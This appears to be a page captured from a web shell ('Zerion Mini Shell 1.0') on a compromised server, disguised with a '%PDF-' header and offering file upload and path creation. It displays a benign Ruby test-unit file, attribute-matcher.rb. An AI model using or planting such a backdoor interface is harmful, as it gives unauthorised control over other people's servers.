%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/rs/ruby/2.5/lib/ruby/gems/2.5/gems/test-unit-3.2.7/lib/test/unit/
Upload File :
Create Path :
Current File : /home/rs/ruby/2.5/lib/ruby/gems/2.5/gems/test-unit-3.2.7/lib/test/unit/attribute-matcher.rb

module Test
  module Unit
    class AttributeMatcher
      def initialize(test)
        @test = test
      end

      def match?(expression)
        matched = instance_eval(expression)
        if matched.nil?
          false
        else
          matched
        end
      end

      def method_missing(name, *args)
        if args.empty?
          @test[name]
        else
          super
        end
      end
    end
  end
end

Zerion Mini Shell 1.0